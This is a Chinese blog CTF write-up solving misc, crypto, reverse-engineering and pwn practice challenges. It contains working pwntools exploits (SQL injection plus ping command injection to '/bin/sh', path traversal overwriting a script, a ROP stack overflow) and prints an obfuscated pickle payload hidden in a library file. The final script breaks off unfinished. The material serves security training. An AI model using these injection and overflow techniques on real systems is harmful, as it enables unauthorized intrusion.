关于 DreamCat

主题名称:DreamCat | 版本:3.0.240224

主题开发:HanFengA7 | CornWorld

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2024 by LychApe All rights reserved!

menu
refresh

某次练习的WriteUp

作者: ciaoℒy

时间:

下载题目附件

1. 高空作业

使用foremost可以得到压缩包, 爆破一下, 密码是123456

打开之后hex转码, 再base64转码, 得到flag

flag{311ea792e41a3f9db9328864abf3516a}

2. host.zip

用HxD打开看看是一个逆序的zip, 用脚本处理一下:

$file = [System.IO.File]::ReadAllBytes(".\1689123621450788@+@host.zip")
[array]::Reverse($file)
[System.IO.File]::WriteAllBytes("host.zip", $file)

解压, 重命名xlsx为zip, 再解压(因为xlsx打不开), 在文件夹里搜索flag

得到编码的flag: 👝👣👘👞👲👫👟👠👪👠👪👫👩👬👜👴

是个base100, 用python3 basecrack.py -b 👝👣👘👞👲👫👟👠👪👠👪👫👩👬👜👴

解码得到flag{thisistrue}

3. fake_useragant

这一道题可以在GitHub找到仓库源码, diff一下可以直接定位到关键代码. 当然没有源码也没关系, 一个一个文件翻看也能找到特殊的地方:

urllib2.py中可以找到:

import pickle as json

def urlparse():
    json.loads(base64.b64decode(b'Y19fYnVpbHRpbl9fCmV4ZWMKcDAKKFZcdTAwMGFodG1sPW9wZW4oYmFzZTY0LmI2NGRlY29kZShiIlpteGhaeTV3Ym1jPSIpLCAicmIiKS5yZWFkKClbMTQxMDpdXHUwMDBhanNvbi5sb2FkcyhiYXNlNjQuYjY0ZGVjb2RlKGh0bWxbOi0zXVs6Oi0xXStodG1sWy0zOl0pKVx1MDAwYQpwMQp0cDIKUnAzCi4='))

pickle反序列化, 直接base64解码或者用pickletools.dis函数解码这些操作码(但是这题不需要分析pickle的字节码, 因此直接base64解码就够了)

得到如下代码:

html=open(base64.b64decode(b"ZmxhZy5wbmc="), "rb").read()[1410:]
json.loads(base64.b64decode(html[:-3][::-1]+html[-3:]))

再解:

enc=""
for i in range(0,len(flag)):
    d=ord(flag[i])^i
    enc+=\'{:02x}\'.format(d)
   print("enc=666d63647f353f666e6c6f3b353e6a392570747170272524207c232e2f257d2c431816111758")

逆向:

$enc = [int[]] -split ("666d63647f353f666e6c6f3b353e6a392570747170272524207c232e2f257d2c431816111758" -replace "(..)",'0x$1 ')
$flag = 0..$enc.Count | % {
    [char]($enc[$_] -bxor $_)
}
echo "$($flag -join '')"
# flag{09afee093d65afbd2338e9538c3c9423}&

4. elf1

首先逆向分析一下, 用ghidra打开, 关键代码如下所示:

  puts("Welcome!");
  do {
    while( true ) {
      while( true ) {
        while( true ) {
          memset(&action,0,1024);
          read(0,&action,1024);
          if (action != 0x2002) break;
          login_flag = 2;
          puts("LOGIN OUT");
        }
        if (0x2002 < action) break;
        if (action == 0x2001) {
            // skip some thing
          printf("[+] username: %s\n",&username);
          printf("[+] password: %s\n",&password);
          iVar1 = db_query(&username,&password);
          if (iVar1 == 0) {
            login_flag = 0;
            puts("LOGIN SUCCESS");
          }
          else {
            puts("LOGIN FAIL");
          }
        }
      }
      if (action == 0x2003) break;
      if ((action == 0x2004) && (login_flag == 0)) {
        puts("PING IP");
        ip_sr = 0;
        local_820 = 0;
        snprintf((char *)&ip_sr,16,"%s",&local_816);
        printf("[+] IP: %s\n",&ip_sr);
        puVar3 = local_418;
        for (lVar2 = 0x80; lVar2 != 0; lVar2 = lVar2 + -1) {
          *puVar3 = 0;
          puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
        }
        sprintf((char *)local_418,"ping -c 1 %s",&ip_sr);
        system((char *)local_418);
      }
    }
    if (login_flag == 0) {
      puts("GET TIME");
      system("date");
    }
  } while( true );

read函数会不断的读取输入, 前两个字节赋值给action, 表示要执行的动作. 后续按照一定的协议布置参数.

使用p.send(b'\x01\x20')可以直接发送命令, 需要注意的是大小端序问题(当然其实用p16()函数即可, 是我搞麻烦了, 但不重要)

简单fuzz一下这些参数的排布, 反正程序会把参数打印出来, 可以得到它的通信协议如下:

命令(2 bytes) 参数1 参数2 释意
0x2002 LOGIN OUT
0x2001 username(from 3 byte to \0 or end) password(from 33th byte to end) LOGIN
0x2003 GET TIME
0x2004 ip(from 3 byte to end, 16 bytes limit) PING IP

因为执行数据库查询是直接拼接字符串, 所以使用万能密码即可登录成功. 登录后利用PING IP的指令执行函数即可.

from pwn import *

elf = ELF("./1689164288971764@+@elf");
p = elf.process()

#username&pwd
p.send(b'\x01\x20\' or 1=1; -- ');
p.send(b'\4')
p.recvuntil("SUCCESS\n")

#ping rce
p.send(b'\x04\x20;/bin/sh');
p.interactive();

5. elf2

  do {
    do {
      while( true ) {
        while( true ) {
          memset(action,0,0x400);
          read(0,action,1024);
          if (action._0_2_ != 0x1002) break;
          puts("COUNT");
          system("./tool.sh");
          puts("COUNT OVER");
        }
        if (action._0_2_ == 0x1003) break;
        if (action._0_2_ == 0x1001) {
        //skip some things
          puts("UPLOAD");
          dir_len = action._2_4_;
          if ((((action._2_4_ != 0) && ((uint)action._2_4_ < 0x41)) &&
              (uVar1 = *(uint *)((long)action + (ulong)(uint)action._2_4_ + 6), uVar1 != 0)) &&
             (uVar1 < 513)) {
            printf("[+] filename_len: %d\n",(ulong)(uint)action._2_4_);
            printf("[+] content_len: %d\n",(ulong)uVar1);
            memcpy(filename,(short *)((long)action + 6),(ulong)dir_len);
            memcpy(file_content,auStack_100e + dir_len,(ulong)uVar1);
            printf("[+] filename: %s\n",filename);
            printf("[+] content: %s\n",file_content);
            sprintf((char *)file_path,"upload/%s",filename);
            if (((char)filename[0] != '\0') &&
               (iVar2 = file_put_content(file_path,file_content,uVar1), iVar2 == 0)) {
              puts("[+] UPLOAD_SUCCESS");
            }
          }
        }
      }
      puts("LIST");
      dir_len = action._2_4_;
      // skip some things
    } while ((action._2_4_ == 0) || (64 < (uint)action._2_4_));
    memcpy(file_path,(short *)((long)action + 6),(ulong)(uint)action._2_4_);
    printf("[+] dirname_len: %d\n",(ulong)dir_len);
    printf("[+] dirname: %s\n",file_path);
    for (; local_1028 < dir_len; local_1028 = local_1028 + 1) {
      if (*(char *)((long)file_path + (long)(int)local_1028) == '\'') {
        puts("invalid input!");
        goto LAB_00400a59;
      }
    }
    snprintf(action,0x400,"ls -l \'%s\'",file_path);
    system(action);
    puts("LIST OVER");
  } while( true )

分析同上, 还是先得到通信协议:

命令(2 bytes) 参数1(4 bytes) 参数2 参数3(4 bytes) 参数4 释意
0x1002 system("./tool.sh");
0x1001 len(filename) filename len(file_content) file_content UPLOAD_FILE
0x1003 len(dirname) dirname system("ls -l '$cmd'");

因为在0x1003的函数中设置了输入检测, 不允许使用"'"逃逸. 因此尝试使用0x1001覆写tool.sh以实现rce:

from pwn import *

elf = ELF("./1689164278202479@+@elf");
p = elf.process()

p.recvuntil(b'RECV')

filename=b'../tool.sh'
content=b'/bin/sh'

payload=p16(0x1001)+p32(len(filename))+filename+p32(len(content))+content
p.send(payload)
p.recvuntil(b"UPLOAD_SUCCESS")
payload=p16(0x1002)#+p32(len(filename))+filename+p32(len(content))+content
p.send(payload)
p.recvuntil(b"COUNT")
print(p.recv());
p.interactive();

6. pwn1

一道64位的pwn, 存在最直白的read函数栈溢出, 存在call system, 存在pop rdi; ret;gadget用于ROP.

唯一缺失的是"/bin/sh", 好在存在字符串"echo Wish", 结尾是"sh", 利用它, 只要$PATH变量设置的合适, 就能执行/bin/sh. exp如下:

from pwn import *;

elf = ELF("./1689164264637000@+@pwn")
p = elf.process()

offset = 40 
pop_rdi = 0x00000000004007c3
system = 0x004006c4
sh = 0x004007eb

payload = b'a' * offset + p64(pop_rdi) + p64(sh) + p64(system)
p.recvuntil(b"BABY_STACK\n")
p.send(payload)
p.interactive()

7. pwn2

别问我, 这题我指定不会做, 堆的东西知识量比栈大了不是一丁半点

[BUUCTF]PWN——ciscn_2019_es_1_buuctf ciscn_2019_es_1_Angel~Yan的博客-CSDN博客](https://blog.csdn.net/mcmuyanga/article/details/118193874)

8. cipher

题目描述:有趣的电脑与手机 ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt uuuu

搜: NCTF2019/BUUCTF-Keyboard - 「配枪朱丽叶。」 (hatenablog.com)

strr = "ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee".split()
all = {'none1':'','none2':'','w':'abc','e':'def','r':'ghi','t':'jkl','y':'mno','u':'pors','i':'tuv','o':'wxyz'}
for i in strr:
    print(all[i[0]][len(i)-1],end="")

9. crypto.py

加密函数如下, si是盐, 长度为3且为小写字母

def encrypt(m, a, si):
    c=""
    for i in range(len(m)):
        c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
    return c
#加密后的密文为:
#177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d

m是明文, 格式已知: flag{********************************}

编写脚本爆破, 因为a是共有的, 且有6个原文和密文是已知的, 可以多重验证一下.

$cipher = [int[]] -split ("177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d" -replace "(..)", '0x$1 ');

Function encrypt($m ,$a, $si) {
    ($m * $a + $si) % 128
}

$trueSi = @(1,2,3);
$trueA = 0

foreach($a in 0..65536) {
    $fa = -1; $la = -2; $aa = -3; $ga = -4; $bla = -5; $bra = -6;
    foreach($si in [int][char]'a'..[int][char]'z') {
        if ((encrypt ([int][char]'f') $a $si) -eq $cipher[0]) {
            $trueSi[0] = $si;
            $fa = $a;
        }
        if ((encrypt ([int][char]'l') $a $si) -eq $cipher[1]) {
            $trueSi[1] = $si;
            $la = $a;
        }
        if ((encrypt ([int][char]'a') $a $si) -eq $cipher[2]) {
            $trueSi[2] = $si;
            $aa = $a;
        }
        if ((encrypt ([int][char]'g') $a $si) -eq $cipher[3]) {
            $trueSi[0] = $si;
            $ga = $a;
        }
        if ((encrypt ([int][char]'{') $a $si) -eq $cipher[4]) {
            $trueSi[1] = $si;
            $bla = $a;
        }
        if ((encrypt ([int][char]'}') $a $si) -eq $cipher[-1]) {
            $trueSi[2] = $si;
            $bra = $a;
        }
    }
    if ($fa -eq $la -and $la -eq $aa -and $aa -eq $ga -and $ga -eq $bla -and $bla -eq $bra) {
        echo "si = $([char[]]$trueSi -join ''); a = $($a)"
        $trueA = $a;
        break;
    }
}

$flag = "flag{";

foreach($i in 5 .. $cipher.Count) {
    foreach($chr in 0..256) {
        if ((encrypt $chr $trueA ($trueSi[$i % 3])) -eq $cipher[$i]) {
            $flag += [char]$chr;
            break;
        }
    }
}

echo $flag

10. MD5碰撞

已知某功率预测主机密码明文为?dR%k?K?h%&f@?om,其中"?"代表一个数字。而密码md5的后四位为cf5b。求某功率预测主机密码明文。 flag格式:flag{xxxx},提示:flag为密码明文md5加密后的32位小写。

直接编写脚本爆破:

Function md5sum($str) {
    $md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
    $utf8 = New-Object -TypeName System.Text.UTF8Encoding
    $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str)))
    return ($hash -replace "-",'').ToLower()
}

$key = "?dR%k?K?h%&f@?om";
$target = "*cf5b";
$unknown = $key -replace "[^?]",""
$reg = New-Object Regex -ArgumentList ([regex]::Escape("?"))

1..$unknown.Length | % {
    $key = $reg.replace($key, "{$($_ - 1)}", 1)
}

foreach($a in 0..9) {
    foreach($b in 0..9) {
        foreach($c in 0..9) {
            foreach($d in 0..9) {
                if ((md5sum ($key -f $a,$b,$c,$d)) -like $target) {
                    echo "key: $($key -f $a,$b,$c,$d)"
                    echo "md5: $((md5sum ($key -f $a,$b,$c,$d)))"
                    return;
                }
            }
        }
    }
}

11. 加密套娃

第一层的二进制没对齐, 需要用CaptEncoder解码. 解码后是URL编码的Unicode, 但是因为flag是纯ASCII, 可以把Unicode的前缀%5CU给替换成空格, 用Hex解码后得到base64字符串, 再次解码得到Base32字符串, 最终得到flag

flag{huabeijingsai-crypto1-easy!~}

12. secure_file_decryptor_advanced

直接改一个爆破进去:

# secure_file_decryptor_advanced.py

def decrypt_file(encrypted_data, key):
    # 简化的文件解密逻辑
    for i, byte in enumerate(encrypted_data):
        decrypted_byte = byte ^ (key + i)  # 引入变化的密钥
        decrypted_data.append(decrypted_byte)

    return bytes(decrypted_data)

if __name__ == "__main__":
    user_filename = input("请输入要解密的文件名:")
    with open(user_filename, "rb") as encrypted_file:
        encrypted_data = encrypted_file.read()
        for key in range(65536):
            decrypted_data = []
            decrypted_data = decrypt_file(encrypted_data, key)
            if decrypted_data.startswith(b'flag'):
                print(decrypted_data)
                break;

13. demo.jar

加密方法很简单:

// target: 7743067229430070291305252410517270125722701502772317557720125772
    public static String encrypt(String s) {
        byte[] b = s.getBytes();
        byte[] keys = {17, 34, 51, 68};
        byte[] res = new byte[32];
        for (int i = 0; i < b.length; i += 4) {
            for (int j = 0; j < 4; j++) {
                res[i + j] = (byte) (b[i + j] ^ keys[j]);
            }
        }
        return hex(res);
    }

直接解密即可

$cyph = [int[]] -split ("7743067229430070291305252410517270125722701502772317557720125772" -replace "(..)",'0x$1 ')

$keys = @(17, 34, 51, 68)

$flag = 0..$cyph.Count | % {
    [char]($cyph[$_] -bxor $keys[$_ % $keys.Count])
}

echo "$($flag -join '')"

14. ez.exe

这道题是一个计算校验和的题, 只看伪代码的话是不能完全还原flag的, 因为伪代码对部分数字进行了求和运算. 代码如下:

MOV        dword ptr [ESP  + local_14 ],0x65725f79
MOV        dword ptr [ESP  + local_18 ],0x33723076
MOV        dword ptr [ESP  + local_1c ],0x7d65
MOV        EDX ,dword ptr [DAT_00402000 ]                    = 67616C66h
MOV        EAX ,[_b]                                        = 7361457Bh
ADD        EDX ,EAX
MOV        EAX ,dword ptr [ESP  + local_14 ]
ADD        EDX ,EAX
MOV        EAX ,dword ptr [ESP  + local_18 ]
ADD        EDX ,EAX
MOV        EAX ,dword ptr [ESP  + local_1c ]
ADD        EAX ,EDX
MOV        dword ptr [ESP  + local_2c ],EAX
MOV        dword ptr [ESP ]=>local_30 ,.rdata                = "sum(flag)=%d\n"

直接把数字拿出来转码即可, 需要注意大小端问题, 用kt.gy可以hex转码并reverse:

67616C66    #flag
7361457B    #{Eas
65725f79    #y_re
33723076    #v0r3
7d65    #e}
#flag{Easy_rev0r3e}

15. re

虽然是elf, 但是用exepeinfo还是能看出来有upx壳. 脱壳一下, 得到加密算法:

// 主函数  
  if (len_flag == 38) {
    enc(&input,_len_flag & 0xffffffff);
    puVar4 = local_d8;
    for (lVar3 = 0x10; lVar3 != 0; lVar3 = lVar3 + -1) {
      *puVar4 = 0;
      puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
    }
    for (local_c = 0; local_c < len_flag; local_c = local_c + 1) {
      snprintf((char *)((long)local_d8 + (long)(local_c * 2)),0x80 - (long)(local_c * 2),"%02X",
               (ulong)*(byte *)((long)&input + (long)local_c));
    }
    iVar1 = strcmp("C5D486D6EBCAB2A9A28187A8E8BDA01489C1DEE3A1D314D186D24480D79ABDD2F5F79384F2CC" ,
                   (char *)local_d8);
    if (iVar1 == 0) {
      puts("Good!");
    }

// enc
long enc(long input,int len) {
  byte bVar1;
  byte bVar2;
  int index;

  for (index = 0; index < len; index = index + 1) {
    bVar1 = *(byte *)(input + index);
    bVar2 = get_key(index);
    *(byte *)(input + index) = bVar1 ^ bVar2;
  }
  return input;
}

// get_key
undefined get_key(int index) {
  size_t sVar1;
  // 这里叫lyric是因为在ida64里会自动unicode编码, 编码后是一段歌词
  sVar1 = strlen(lyric);
  return lyric[(int)DWORD_ARRAY_00104080[index] % (int)sVar1];
}

提取出来两个数组, 需要注意lyric数组是bytes, DWORD_ARRAY_00104080数组是double_word[], 编写脚本解密即可

$key = [int[]] -split ("C5D486D6EBCAB2A9A28187A8E8BDA01489C1DEE3A1D314D186D24480D79ABDD2F5F79384F2CC" -replace "(..)",'0x$1 ')

$lyric = @(
  0xE5, 0xBE, 0x98, 0xE5, 0xBE, 0x8A, 0xE7, 0x9D, 0x80, 0xE7, 
  0x9A, 0x84, 0x20, 0xE5, 0x9C, 0xA8, 0xE8, 0xB7, 0xAF, 0xE4, 
  0xB8, 0x8A, 0xE7, 0x9A, 0x84, 0x20, 0xE4, 0xBD, 0xA0, 0xE8, 
  0xA6, 0x81, 0xE8, 0xB5, 0xB0, 0xE5, 0x90, 0x97, 0x20, 0xE6, 
  0x98, 0x93, 0xE7, 0xA2, 0x8E, 0xE7, 0x9A, 0x84, 0x20, 0xE9, 
  0xAA, 0x84, 0xE5, 0x82, 0xB2, 0xE7, 0x9D, 0x80, 0x20, 0xE9, 
  0x82, 0xA3, 0xE4, 0xB9, 0x9F, 0xE6, 0x9B, 0xBE, 0xE6, 0x98, 
  0xAF, 0xE6, 0x88, 0x91, 0xE7, 0x9A, 0x84, 0xE6, 0xA8, 0xA1, 
  0xE6, 0xA0, 0xB7, 0x20, 0xE6, 0xB2, 0xB8, 0xE8, 0x85, 0xBE, 
  0xE7, 0x9D, 0x80, 0xE7, 0x9A, 0x84, 0x20, 0xE4, 0xB8, 0x8D, 
  0xE5, 0xAE, 0x89, 0xE7, 0x9D, 0x80, 0xE7, 0x9A, 0x84, 0x20, 
  0xE4, 0xBD, 0xA0, 0xE8, 0xA6, 0x81, 0xE5, 0x8E, 0xBB, 0xE5, 
  0x93, 0xAA, 0x20, 0xE8, 0xB0, 0x9C, 0xE4, 0xB8, 0x80, 0xE6, 
  0xA0, 0xB7, 0xE7, 0x9A, 0x84, 0x20, 0xE6, 0xB2, 0x89, 0xE9, 
  0xBB, 0x98, 0xE7, 0x9D, 0x80, 0xE7, 0x9A, 0x84, 0x20, 0xE6, 
  0x95, 0x85, 0xE4, 0xBA, 0x8B, 0xE4, 0xBD, 0xA0, 0xE7, 0x9C, 
  0x9F, 0xE7, 0x9A, 0x84, 0xE5, 0x9C, 0xA8, 0xE5, 0x90, 0xAC, 
  0xE5, 0x90, 0x97, 0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 
  0xE7, 0xBB, 0x8F, 0xE8, 0xB7, 0xA8, 0xE8, 0xBF, 0x87, 0xE5, 
  0xB1, 0xB1, 0xE5, 0x92, 0x8C, 0xE5, 0xA4, 0xA7, 0xE6, 0xB5, 
  0xB7, 0x20, 0xE4, 0xB9, 0x9F, 0xE7, 0xA9, 0xBF, 0xE8, 0xBF, 
  0x87, 0xE4, 0xBA, 0xBA, 0xE5, 0xB1, 0xB1, 0xE4, 0xBA, 0xBA, 
  0xE6, 0xB5, 0xB7, 0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 
  0xE7, 0xBB, 0x8F, 0xE6, 0x8B, 0xA5, 0xE6, 0x9C, 0x89, 0xE7, 
  0x9D, 0x80, 0xE4, 0xB8, 0x80, 0xE5, 0x88, 0x87, 0x20, 0xE8, 
  0xBD, 0xAC, 0xE7, 0x9C, 0xBC, 0xE9, 0x83, 0xBD, 0xE9, 0xA3, 
  0x98, 0xE6, 0x95, 0xA3, 0xE5, 0xA6, 0x82, 0xE7, 0x83, 0x9F, 
  0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 
  0xE5, 0xA4, 0xB1, 0xE8, 0x90, 0xBD, 0xE5, 0xA4, 0xB1, 0xE6, 
  0x9C, 0x9B, 0xE5, 0xA4, 0xB1, 0xE6, 0x8E, 0x89, 0xE6, 0x89, 
  0x80, 0xE6, 0x9C, 0x89, 0xE6, 0x96, 0xB9, 0xE5, 0x90, 0x91, 
  0x20, 0xE7, 0x9B, 0xB4, 0xE5, 0x88, 0xB0, 0xE7, 0x9C, 0x8B, 
  0xE8, 0xA7, 0x81, 0xE5, 0xB9, 0xB3, 0xE5, 0x87, 0xA1, 0xE6, 
  0x89, 0x8D, 0xE6, 0x98, 0xAF, 0xE5, 0x94, 0xAF, 0xE4, 0xB8, 
  0x80, 0xE7, 0x9A, 0x84, 0xE7, 0xAD, 0x94, 0xE6, 0xA1, 0x88, 
  0x20, 0xE5, 0xBD, 0x93, 0xE4, 0xBD, 0xA0, 0xE4, 0xBB, 0x8D, 
  0xE7, 0x84, 0xB6, 0x20, 0xE8, 0xBF, 0x98, 0xE5, 0x9C, 0xA8, 
  0xE5, 0xB9, 0xBB, 0xE6, 0x83, 0xB3, 0x20, 0xE4, 0xBD, 0xA0, 
  0xE7, 0x9A, 0x84, 0xE6, 0x98, 0x8E, 0xE5, 0xA4, 0xA9, 0x20, 
  0xE5, 0xA5, 0xB9, 0xE4, 0xBC, 0x9A, 0xE5, 0xA5, 0xBD, 0xE5, 
  0x90, 0x97, 0x20, 0xE8, 0xBF, 0x98, 0xE6, 0x98, 0xAF, 0xE6, 
  0x9B, 0xB4, 0xE7, 0x83, 0x82, 0x20, 0xE5, 0xAF, 0xB9, 0xE6, 
  0x88, 0x91, 0xE8, 0x80, 0x8C, 0xE8, 0xA8, 0x80, 0xE6, 0x98, 
  0xAF, 0xE5, 0x8F, 0xA6, 0xE4, 0xB8, 0x80, 0xE5, 0xA4, 0xA9, 
  0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 
  0xE6, 0xAF, 0x81, 0xE4, 0xBA, 0x86, 0xE6, 0x88, 0x91, 0xE7, 
  0x9A, 0x84, 0xE4, 0xB8, 0x80, 0xE5, 0x88, 0x87, 0x20, 0xE5, 
  0x8F, 0xAA, 0xE6, 0x83, 0xB3, 0xE6, 0xB0, 0xB8, 0xE8, 0xBF, 
  0x9C, 0xE5, 0x9C, 0xB0, 0xE7, 0xA6, 0xBB, 0xE5, 0xBC, 0x80, 
  0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 
  0xE5, 0xA0, 0x95, 0xE5, 0x85, 0xA5, 0xE6, 0x97, 0xA0, 0xE8, 
  0xBE, 0xB9, 0xE9, 0xBB, 0x91, 0xE6, 0x9A, 0x97, 0x20, 0xE6, 
  0x83, 0xB3, 0xE6, 0x8C, 0xA3, 0xE6, 0x89, 0x8E, 0xE6, 0x97, 
  0xA0, 0xE6, 0xB3, 0x95, 0xE8, 0x87, 0xAA, 0xE6, 0x8B, 0x94, 
  0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 
  0xE8, 0xB1, 0xA1, 0xE4, 0xBD, 0xA0, 0xE8, 0xB1, 0xA1, 0xE4, 
  0xBB, 0x96, 0xE8, 0xB1, 0xA1, 0xE9, 0x82, 0xA3, 0xE9, 0x87, 
  0x8E, 0xE8, 0x8D, 0x89, 0xE9, 0x87, 0x8E, 0xE8, 0x8A, 0xB1, 
  0x20, 0xE7, 0xBB, 0x9D, 0xE6, 0x9C, 0x9B, 0xE7, 0x9D, 0x80, 
  0x20, 0xE6, 0xB8, 0xB4, 0xE6, 0x9C, 0x9B, 0xE7, 0x9D, 0x80, 
  0x20, 0xE5, 0x93, 0xAD, 0xE7, 0x9D, 0x80, 0xE7, 0xAC, 0x91, 
  0xE7, 0x9D, 0x80, 0xE5, 0xB9, 0xB3, 0xE5, 0x87, 0xA1, 0xE7, 
  0x9D, 0x80, 0x20, 0xE5, 0x90, 0x91, 0xE5, 0x89, 0x8D, 0xE8, 
  0xB5, 0xB0, 0x20, 0xE5, 0xB0, 0xB1, 0xE8, 0xBF, 0x99, 0xE4, 
  0xB9, 0x88, 0xE8, 0xB5, 0xB0, 0x20, 0xE5, 0xB0, 0xB1, 0xE7, 
  0xAE, 0x97, 0xE4, 0xBD, 0xA0, 0xE8, 0xA2, 0xAB, 0xE7, 0xBB, 
  0x99, 0xE8, 0xBF, 0x87, 0xE4, 0xBB, 0x80, 0xE4, 0xB9, 0x88, 
  0x20, 0xE5, 0x90, 0x91, 0xE5, 0x89, 0x8D, 0xE8, 0xB5, 0xB0, 
  0x20, 0xE5, 0xB0, 0xB1, 0xE8, 0xBF, 0x99, 0xE4, 0xB9, 0x88, 
  0xE8, 0xB5, 0xB0, 0x20, 0xE5, 0xB0, 0xB1, 0xE7, 0xAE, 0x97, 
  0xE4, 0xBD, 0xA0, 0xE8, 0xA2, 0xAB, 0xE5, 0xA4, 0xBA, 0xE8, 
  0xB5, 0xB0, 0xE4, 0xBB, 0x80, 0xE4, 0xB9, 0x88, 0x20, 0xE5, 
  0x90, 0x91, 0xE5, 0x89, 0x8D, 0xE8, 0xB5, 0xB0, 0x20, 0xE5, 
  0xB0, 0xB1, 0xE8, 0xBF, 0x99, 0xE4, 0xB9, 0x88, 0xE8, 0xB5, 
  0xB0, 0x20, 0xE5, 0xB0, 0xB1, 0xE7, 0xAE, 0x97, 0xE4, 0xBD, 
  0xA0, 0xE4, 0xBC, 0x9A, 0xE9, 0x94, 0x99, 0xE8, 0xBF, 0x87, 
  0xE4, 0xBB, 0x80, 0xE4, 0xB9, 0x88, 0x20, 0xE5, 0x90, 0x91, 
  0xE5, 0x89, 0x8D, 0xE8, 0xB5, 0xB0, 0x20, 0xE5, 0xB0, 0xB1, 
  0xE8, 0xBF, 0x99, 0xE4, 0xB9, 0x88, 0xE8, 0xB5, 0xB0, 0x20, 
  0xE5, 0xB0, 0xB1, 0xE7, 0xAE, 0x97, 0xE4, 0xBD, 0xA0, 0xE4, 
  0xBC, 0x9A, 0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 
  0xBB, 0x8F, 0xE8, 0xB7, 0xA8, 0xE8, 0xBF, 0x87, 0xE5, 0xB1, 
  0xB1, 0xE5, 0x92, 0x8C, 0xE5, 0xA4, 0xA7, 0xE6, 0xB5, 0xB7, 
  0x20, 0xE4, 0xB9, 0x9F, 0xE7, 0xA9, 0xBF, 0xE8, 0xBF, 0x87, 
  0xE4, 0xBA, 0xBA, 0xE5, 0xB1, 0xB1, 0xE4, 0xBA, 0xBA, 0xE6, 
  0xB5, 0xB7, 0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 
  0xBB, 0x8F, 0xE6, 0x8B, 0xA5, 0xE6, 0x9C, 0x89, 0xE7, 0x9D, 
  0x80, 0xE4, 0xB8, 0x80, 0xE5, 0x88, 0x87, 0x20, 0xE8, 0xBD, 
  0xAC, 0xE7, 0x9C, 0xBC, 0xE9, 0x83, 0xBD, 0xE9, 0xA3, 0x98, 
  0xE6, 0x95, 0xA3, 0xE5, 0xA6, 0x82, 0xE7, 0x83, 0x9F, 0x20, 
  0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 0xE5, 
  0xA4, 0xB1, 0xE8, 0x90, 0xBD, 0xE5, 0xA4, 0xB1, 0xE6, 0x9C, 
  0x9B, 0xE5, 0xA4, 0xB1, 0xE6, 0x8E, 0x89, 0xE6, 0x89, 0x80, 
  0xE6, 0x9C, 0x89, 0xE6, 0x96, 0xB9, 0xE5, 0x90, 0x91, 0x20, 
  0xE7, 0x9B, 0xB4, 0xE5, 0x88, 0xB0, 0xE7, 0x9C, 0x8B, 0xE8, 
  0xA7, 0x81, 0xE5, 0xB9, 0xB3, 0xE5, 0x87, 0xA1, 0xE6, 0x89, 
  0x8D, 0xE6, 0x98, 0xAF, 0xE5, 0x94, 0xAF, 0xE4, 0xB8, 0x80, 
  0xE7, 0x9A, 0x84, 0xE7, 0xAD, 0x94, 0xE6, 0xA1, 0x88, 0x20, 
  0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 0xE6, 
  0xAF, 0x81, 0xE4, 0xBA, 0x86, 0xE6, 0x88, 0x91, 0xE7, 0x9A, 
  0x84, 0xE4, 0xB8, 0x80, 0xE5, 0x88, 0x87, 0x20, 0xE5, 0x8F, 
  0xAA, 0xE6, 0x83, 0xB3, 0xE6, 0xB0, 0xB8, 0xE8, 0xBF, 0x9C, 
  0xE5, 0x9C, 0xB0, 0xE7, 0xA6, 0xBB, 0xE5, 0xBC, 0x80, 0x20, 
  0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 0xE5, 
  0xA0, 0x95, 0xE5, 0x85, 0xA5, 0xE6, 0x97, 0xA0, 0xE8, 0xBE, 
  0xB9, 0xE9, 0xBB, 0x91, 0xE6, 0x9A, 0x97, 0x20, 0xE6, 0x83, 
  0xB3, 0xE6, 0x8C, 0xA3, 0xE6, 0x89, 0x8E, 0xE6, 0x97, 0xA0, 
  0xE6, 0xB3, 0x95, 0xE8, 0x87, 0xAA, 0xE6, 0x8B, 0x94, 0x20, 
  0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 0xE5, 
  0x83, 0x8F, 0xE4, 0xBD, 0xA0, 0xE5, 0x83, 0x8F, 0xE4, 0xBB, 
  0x96, 0xE5, 0x83, 0x8F, 0xE9, 0x82, 0xA3, 0xE9, 0x87, 0x8E, 
  0xE8, 0x8D, 0x89, 0xE9, 0x87, 0x8E, 0xE8, 0x8A, 0xB1, 0x20, 
  0xE7, 0xBB, 0x9D, 0xE6, 0x9C, 0x9B, 0xE7, 0x9D, 0x80, 0x20, 
  0xE6, 0xB8, 0xB4, 0xE6, 0x9C, 0x9B, 0xE7, 0x9D, 0x80, 0x20, 
  0xE5, 0x93, 0xAD, 0xE7, 0x9D, 0x80, 0xE7, 0xAC, 0x91, 0xE7, 
  0x9D, 0x80, 0xE5, 0xB9, 0xB3, 0xE5, 0x87, 0xA1, 0xE7, 0x9D, 
  0x80, 0x00
);

$arc = @(
